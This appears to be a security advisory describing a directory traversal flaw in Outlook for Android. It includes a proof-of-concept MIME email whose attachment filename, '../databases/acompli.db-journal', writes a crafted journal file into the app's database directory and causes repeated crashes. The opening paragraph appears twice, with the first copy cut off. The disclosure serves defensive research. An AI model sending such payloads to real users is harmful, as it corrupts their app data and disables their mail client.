There is a directory traversal issue in attachment downloads in Outlook for Android. There is no path sanitization on the attachment filename in the app. If the email account is a Hotmail account, this will be sanitized by the server, but for other accounts it will not be. This allows a file to be written anywhere on the filesystem that the Outlook app can access when an attached image is viewed in the Outlook app. This bug has the following limitations: 1) the email address has to be a non-Hotmail address 2) the file can not overwrite an existing file (append happens in this case), it has to be a file that doesn't already exist. 3) the user has to click the image and view it, it is not sufficient just to view the thumbnail in the message. It is possible to modify a database using this bug by placing a journal file in the databases directory. Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget...
There is a directory traversal issue in attachment downloads in Outlook for Android. There is no path sanitization on the attachment filename in the app. If the email account is a Hotmail account, this will be sanitized by the server, but for other accounts it will not be. This allows a file to be written anywhere on the filesystem that the Outlook app can access when an attached image is viewed in the Outlook app. This bug has the following limitations: 1) the email address has to be a non-Hotmail address 2) the file can not overwrite an existing file (append happens in this case), it has to be a file that doesn't already exist. 3) the user has to click the image and view it, it is not sufficient just to view the thumbnail in the message. It is possible to modify a database using this bug by placing a journal file in the databases directory. Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your email credentials). WARNING: this PoC will cause Outlook to crash repeatedly, and you will need to re-install it to get it to work again ``` Content-Type: Content-Type: multipart/mixed; boundary="----714A286D976BF3E58D9D671E37CBCF7C" MIME-Version: 1.0 Subject: hello image2adfdfs1 To: EMAIL From: natashenka@google.com You will not see this in a MIME-aware mail reader. ------714A286D976BF3E58D9D671E37CBCF7C Content-Type: text/html <html> <body> test </body> </html> ------714A286D976BF3E58D9D671E37CBCF7C Content-Type: image/png; name="t124" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="../databases/acompli.db-journal" 2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw= ------714A286D976BF3E58D9D671E37CBCF7C ```
